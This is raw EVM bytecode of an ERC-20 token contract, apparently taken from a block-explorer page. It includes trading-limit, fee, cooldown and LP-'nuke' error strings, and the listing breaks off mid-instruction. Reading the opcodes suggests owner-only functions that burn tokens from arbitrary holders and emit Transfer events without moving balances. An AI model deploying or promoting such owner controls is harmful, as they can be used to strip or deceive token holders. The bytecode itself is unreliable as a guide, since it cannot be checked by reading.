000000600082015250565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b61589181614fdb565b811461589c57600080fd5b50565b6158a881614fed565b81146158b357600080fd5b50565b6158bf81615019565b81146158ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae1db063153e4aa17953bb73d09c0d0329c8452fc56203353141d7a583fba32d64736f6c63430008030033

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639ec22c0e14610ba25780639fccce3214610bcd578063a0d82dc514610bf8578063a165506f14610c2357610410565b8063924de9b7116101e2578063924de9b714610afa57806395d89b4114610b235780639c3b4fdc14610b4e5780639dc29fac14610b7957610410565b80638a8c523c14610a625780638da5cb5b14610a795780638ea5220f14610aa45780639213691314610acf57610410565b8063313ce5671161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc57806385ecafd714610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b806349bd5a5e116102e857806349bd5a5e146107da5780634fbee193146108055780636a486a8e146108425780636ddd17131461086d5780636fd7072a1461089857610410565b8063313ce5671461071e5780633582ad231461074957806339509351146107745780633eb2b5ad146107b157610410565b8063199ffc721161039c57806323b872dd1161036b57806323b872dd1461063757806326ededb81461067457806327c8f8351461069d5780632c3e486c146106c85780632e82f1a0146106f357610410565b8063199ffc721461058d5780631a8145bb146105b85780631f3fed8f146105e3578063203e727e1461060e57610410565b80631694505e116103d85780631694505e146104e357806318160ddd1461050e5780631816467f14610539578063184c16c51461056257610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631186b8d8146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b6040516104379190614a94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614383565b611119565b6040516104749190614a5e565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061426a565b611137565b6040516104b19190614a5e565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906143bf565b611157565b005b3480156104ef57600080fd5b506104f861122a565b6040516105059190614a79565b60405180910390f35b34801561051a57600080fd5b5061052361124e565b6040516105309190614dd6565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b919061426a565b611258565b005b34801561056e57600080fd5b50610577611320565b6040516105849190614dd6565b60405180910390f35b34801561059957600080fd5b506105a2611326565b6040516105af9190614dd6565b60405180910390f35b3480156105c457600080fd5b506105cd61132c565b6040516105da9190614dd6565b60405180910390f35b3480156105ef57600080fd5b506105f8611332565b6040516106059190614dd6565b60405180910390f35b34801561061a57600080fd5b5061063560048036038101906106309190614498565b611338565b005b34801561064357600080fd5b5061065e600480360381019061065991906142f8565b6113cf565b60405161066b9190614a5e565b60405180910390f35b34801561068057600080fd5b5061069b60048036038101906106969190614417565b6114a8565b005b3480156106a957600080fd5b506106b26115ab565b6040516106bf9190614a43565b60405180910390f35b3480156106d457600080fd5b506106dd6115b1565b6040516106ea9190614dd6565b60405180910390f35b3480156106ff57600080fd5b506107086115b7565b6040516107159190614a5e565b60405180910390f35b34801561072a57600080fd5b506107336115ca565b6040516107409190614e4b565b60405180910390f35b34801561075557600080fd5b5061075e6115d3565b60405161076b9190614a5e565b60405180910390f35b34801561078057600080fd5b5061079b60048036038101906107969190614383565b6115e6565b6040516107a89190614a5e565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d3919061426a565b611699565b005b3480156107e657600080fd5b506107ef6116e5565b6040516107fc9190614a43565b60405180910390f35b34801561081157600080fd5b5061082c6004803603810190610827919061426a565b61170b565b6040516108399190614a5e565b60405180910390f35b34801561084e57600080fd5b50610857611761565b6040516108649190614dd6565b60405180910390f35b34801561087957600080fd5b50610882611767565b60405161088f9190614a5e565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061426a565b61177a565b6040516108cc9190614a5e565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f7919061426a565b61179a565b6040516109099190614dd6565b60405180910390f35b34801561091e57600080fd5b506109276117e3565b005b34801561093557600080fd5b50610950600480360381019061094b91906144ea565b6118a9565b005b34801561095e57600080fd5b50610967611975565b6040516109749190614a5e565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f9190614347565b6119a1565b005b3480156109b257600080fd5b506109bb611a04565b6040516109c89190614a43565b60405180910390f35b3480156109dd57600080fd5b506109e6611a2a565b6040516109f39190614dd6565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614539565b611a30565b005b348015610a3157600080fd5b50610a4c6004803603810190610a47919061426a565b611abb565b604051610a599190614a5e565b60405180910390f35b348015610a6e57600080fd5b50610a77611b11565b005b348015610a8557600080fd5b50610a8e611b58565b604051610a9b9190614a43565b60405180910390f35b348015610ab057600080fd5b50610ab9611b81565b604051610ac69190614a43565b60405180910390f35b348015610adb57600080fd5b50610ae4611ba7565b604051610af19190614dd6565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c919061446f565b611bad565b005b348015610b2f57600080fd5b50610b38611bd2565b604051610b459190614a94565b60405180910390f35b348015610b5a57600080fd5b50610b63611c64565b604051610b709190614dd6565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b9190614383565b611c6a565b005b348015610bae57600080fd5b50610bb7611c80565b604051610bc49190614dd6565b60405180910390f35b348015610bd957600080fd5b50610be2611c86565b604051610bef9190614dd6565b60405180910390f35b348015610c0457600080fd5b50610c0d611c8c565b604051610c1a9190614dd6565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906142bc565b611c92565b005b348015610c5857600080fd5b50610c736004803603810190610c6e9190614383565b611ca8565b604051610c809190614a5e565b60405180910390f35b348015610c9557600080fd5b50610c9e611d75565b604051610cab9190614dd6565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd69190614383565b611d7b565b604051610ce89190614a5e565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d13919061426a565b611d99565b005b348015610d2657600080fd5b50610d416004803603810190610d3c919061426a565b611e61565b604051610d4e9190614a43565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906142bc565b611e94565b005b348015610d8c57600080fd5b50610d95611f78565b604051610da29190614a5e565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd9190614347565b611f8b565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614539565b61203c565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614498565b6120c7565b005b348015610e3257600080fd5b50610e4d6004803603810190610e48919061426a565b61215a565b005b348015610e5b57600080fd5b50610e646121d3565b604051610e719190614a5e565b60405180910390f35b348015610e8657600080fd5b50610e8f6121e6565b604051610e9c9190614dd6565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614498565b6121ec565b604051610ed99190614a5e565b60405180910390f35b348015610eee57600080fd5b50610ef76122cd565b604051610f049190614dd6565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906142bc565b6122d3565b604051610f419190614dd6565b60405180910390f35b348015610f5657600080fd5b50610f5f61235a565b604051610f6c9190614dd6565b60405180910390f35b348015610f8157600080fd5b50610f8a612360565b604051610f979190614a5e565b60405180910390f35b348015610fac57600080fd5b50610fb561238c565b604051610fc29190614dd6565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed919061426a565b612392565b005b34801561100057600080fd5b506110096124c7565b6040516110169190614dd6565b60405180910390f35b34801561102b57600080fd5b506110346124cd565b6040516110419190614dd6565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614498565b6124d3565b60405161107e9190614a5e565b60405180910390f35b60606006805461109690615099565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290615099565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b600061112d6111266127dd565b84846127e5565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b61115f6129b0565b60005b838390508110156112245781601660008686858181106111ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906111c0919061426a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061121c906150cb565b915050611162565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b6112606129b0565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6113406129b0565b633b9aca006103e8600161135261124e565b61135c9190614f4d565b6113669190614f1c565b6113709190614f1c565b8110156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990614db6565b60405180910390fd5b670de0b6b3a7640000816113c69190614f4d565b600b8190555050565b60006113dc848484612a2e565b61149d846113e86127dd565b611498856040518060600160405280602881526020016158f460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061144e6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b600190509392505050565b6114b06129b0565b60005b838390508110156115a5578383828181106114f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061150c919061426a565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158a9190614dd6565b60405180910390a3808061159d906150cb565b9150506114b3565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061168f6115f36127dd565b8461168a85600360006116046127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b6127e5565b6001905092915050565b6116a16129b0565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117eb6129b0565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118b16129b0565b6102588310156118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90614b56565b60405180910390fd5b6103e88211158015611909575060008210155b611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f90614bf6565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061197f6129b0565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119a96129b0565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a386129b0565b826018819055508160198190555080601a81905550601a54601954601854611a609190614ec6565b611a6a9190614ec6565b60178190555060196017541115611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90614d96565b60405180910390fd5b505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611b196129b0565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611bb56129b0565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611be190615099565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90615099565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b601a5481565b611c726129b0565b611c7c82826135b9565b5050565b60105481565b60215481565b601e5481565b611c9a6129b0565b611ca48282611e94565b5050565b6000611d6b611cb56127dd565b84611d668560405180606001604052806025815260200161591c6025913960036000611cdf6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b6001905092915050565b60145481565b6000611d8f611d886127dd565b8484612a2e565b6001905092915050565b611da16129b0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e9c6129b0565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f936129b0565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120309190614a5e565b60405180910390a25050565b6120446129b0565b82601c8190555081601d8190555080601e81905550601e54601d54601c5461206c9190614ec6565b6120769190614ec6565b601b819055506063601b5411156120c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b990614bd6565b60405180910390fd5b505050565b6120cf6129b0565b633b9aca006103e860056120e161124e565b6120eb9190614f4d565b6120f59190614f1c565b6120ff9190614f1c565b811015612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614b96565b60405180910390fd5b633b9aca00816121519190614f4d565b600a8190555050565b6121626129b0565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d0600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119a1565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121f66129b0565b620186a0600161220461124e565b61220e9190614f4d565b6122189190614f1c565b82101561225a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225190614c16565b60405180910390fd5b6103e8600a61226761124e565b6122719190614f4d565b61227b9190614f1c565b8211156122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b490614cb6565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061236a6129b0565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61239a6129b0565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614b16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124dd6129b0565b600f546010546124ed9190614ec6565b421161252e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252590614d36565b60405180910390fd5b6103e8821115612573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256a90614cf6565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125d79190614a43565b60206040518083038186803b1580156125ef57600080fd5b505afa158015612603573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262791906144c1565b90506000612652612710612644868561378590919063ffffffff16565b61380090919063ffffffff16565b9050600081111561268d5761268c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361384a565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561275b57600080fd5b505af115801561276f573d6000803e3d6000fd5b5050505060019350505050919050565b600080828461278e9190614ec6565b9050838110156127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ca90614b76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284c90614d56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128bc90614b36565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129a39190614dd6565b60405180910390a3505050565b6129b86127dd565b73ffffffffffffffffffffffffffffffffffffffff166129d6613ae3565b73ffffffffffffffffffffffffffffffffffffffff1614612a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2390614c96565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9590614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0590614ab6565b60405180910390fd5b6000811415612b2857612b238383600061384a565b613550565b601560009054906101000a900460ff161561313f57612b45611b58565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612bb35750612b83611b58565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c3f5750600960149054906101000a900460ff16155b1561313e57601560019054906101000a900460ff16612d3957602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cf95750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f90614af6565b60405180910390fd5b5b602360009054906101000a900460ff1615612f0357612d56611b58565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ddd57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e375750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f025743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb490614c56565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff657600b54811115612f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9090614c36565b60405180910390fd5b600a54612fa58361179a565b82612fb09190614ec6565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe890614d76565b60405180910390fd5b61313d565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309157600b5481111561308c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308390614bb6565b60405180910390fd5b61313c565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313b57600a546130ee8361179a565b826130f99190614ec6565b111561313a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161313190614d76565b60405180910390fd5b5b5b5b5b5b600061314a3061179a565b90506000600c54821015905080801561316f5750601560029054906101000a900460ff165b80156131885750600960149054906101000a900460ff16155b80156131de5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132345750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613278576001600960146101000a81548160ff02191690831515021790555061325c613af7565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132a15750601260009054906101000a900460ff165b156132b1576132af85613c7f565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133675750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337157600090505b60008115613540576000601b54111561344c576133ac606461339e601b548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601b54601d54826133bf9190614f4d565b6133c99190614f1c565b602060008282546133da9190614ec6565b92505081905550601b54601e54826133f29190614f4d565b6133fc9190614f1c565b6021600082825461340d9190614ec6565b92505081905550601b54601c54826134259190614f4d565b61342f9190614f1c565b601f60008282546134409190614ec6565b9250508190555061351c565b6000601754111561351b5761347f60646134716017548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601754601954826134929190614f4d565b61349c9190614f1c565b602060008282546134ad9190614ec6565b92505081905550601754601a54826134c59190614f4d565b6134cf9190614f1c565b602160008282546134e09190614ec6565b92505081905550601754601854826134f89190614f4d565b6135029190614f1c565b601f60008282546135139190614ec6565b925050819055505b5b60008111156135315761353087308361384a565b5b808561353d9190614fa7565b94505b61354b87878761384a565b505050505b505050565b600083831115829061359d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135949190614a94565b60405180910390fd5b50600083856135ac9190614fa7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362090614cd6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156136b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136a790614ad6565b60405180910390fd5b816004546136be9190614fa7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137139190614fa7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137789190614dd6565b60405180910390a3505050565b60008083141561379857600090506137fa565b600082846137a69190614f4d565b90508284826137b59190614f1c565b146137f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ec90614c76565b60405180910390fd5b809150505b92915050565b600061384283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d4c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156138ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b190614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561392a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161392190614ab6565b60405180910390fd5b613935838383613daf565b6139a1816040518060600160405280602681526020016158ce60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173fffffffffffffffffffffffffffffffff